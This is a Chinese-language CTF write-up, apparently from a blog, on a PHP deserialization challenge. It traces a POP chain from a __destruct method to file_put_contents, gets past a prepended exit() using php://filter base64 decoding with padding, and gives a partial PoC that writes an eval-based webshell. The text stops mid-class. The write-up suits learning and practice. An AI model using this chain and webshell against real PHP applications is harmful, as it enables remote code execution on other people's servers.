前言
- 好久没写了,懒了
解题
-
最后有一个反序列化函数
unserialize
来推一波poc利用链。 -
从后往前推,首先看到
file_put_contents
函数,可以写入webshell文件。 -
再来看看两个参数。其中可以看到
data
,经过了拼接处理,其中有一个exit好像不太行,但我们可以利用php伪协议绕过,看看这篇详情介绍谈一谈php://filter的妙用$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
-
往上,虽然有个数据压缩的代码,但是只需要
options['data_compress']
为假就不进入if不执行,经过了serialize
函数,但这个函数并非是序列化函数,而是在class B
中自定义的serialize
函数。 -
但是
$value
变量来自class A
中调用set
函数时传递的$contents
变量。那么class是怎么调用class B
中的set
函数,首先魔术方法__destruct()
在反序列化时被调用,if一个!$this->autosave
,这就要求$this->autosave
为假,然后是调用save()
函数,其中的$this->store->set();
完成调用,这就要求$this->store
为class B
的对象。 -
在往上,
$contents
变量来自函数getForStorage();
的返回值,其中参数为数组[$cleaned, $this->complete]
,两个选择,第一让$cleaned
为shell内容,第二就是$complete
,显然$complete
更简单,所以让$complete
为shell内容,那么$cleaned
为一个空数组就行了。 -
再来看看
filename
,往上找的一个就是函数getCacheKey($name);
的返回值,返回的是options['prefix'] . $name;
两个变量拼接,其中$name
来自class A
中调用set
函数时传递的$key
变量。结束。 -
然后就再来看看具体的paylaod。
-
首先调用
class B
中set
函数的条件$this->autosave=false
,$this->store=new B()
; -
再是shell路径
$this->key = "php://filter/write=convert.base64-decode/resource=shell.php";
,options['prefix']
不要也行,反正只是拼接。 -
然后来看shell内容,首先绕过数据压缩
$this->options['data_compress'] = false;
-
然后是让
$cleaned
为空数组,它调用了cleanContents($this->cache);
因为函数参数是数组类型,所以让$this->cache=array();
为一个空数组,防止调用报错。 -
最后是shell内容,
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));
,$this->options['serialize'] = 'base64_decode';
-
第一次编码是为了绕过exit,第二次是为了防止出错,但中间拼接的
'xxx'
的作用是啥? -
base64算法解码时是4个字节一组,如果直接伪协议base64解码前面拼接内容
"<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n"
如果不足4的倍数会向后取三位补足4的倍数,破坏我们的shell内容,所以我们加上字符补全,来看看需要补多少个字符。 -
sprintf('%012d', $expire)
不用管,输出12个字节刚好。由于<、?、()、;、>、\n
都不是base64编码的范围,所以base64解码的时候会自动将其忽略,所以剩下phpexit
九个字节,补三个。 -
payload
<?php
class A{
protected $store;
protected $key;
protected $expire;
public function __construct()
{
$this->cache = array();
$this->complete = base64_encode("xxx".base64_encode('<?php @eval($_GET["1"]);?>'));
$this->key = "php://filter/write=convert.base64-decode/resource=1.php";
$this->store = new B();
$this->autosave = false;
}
}
class B{
public $options = array()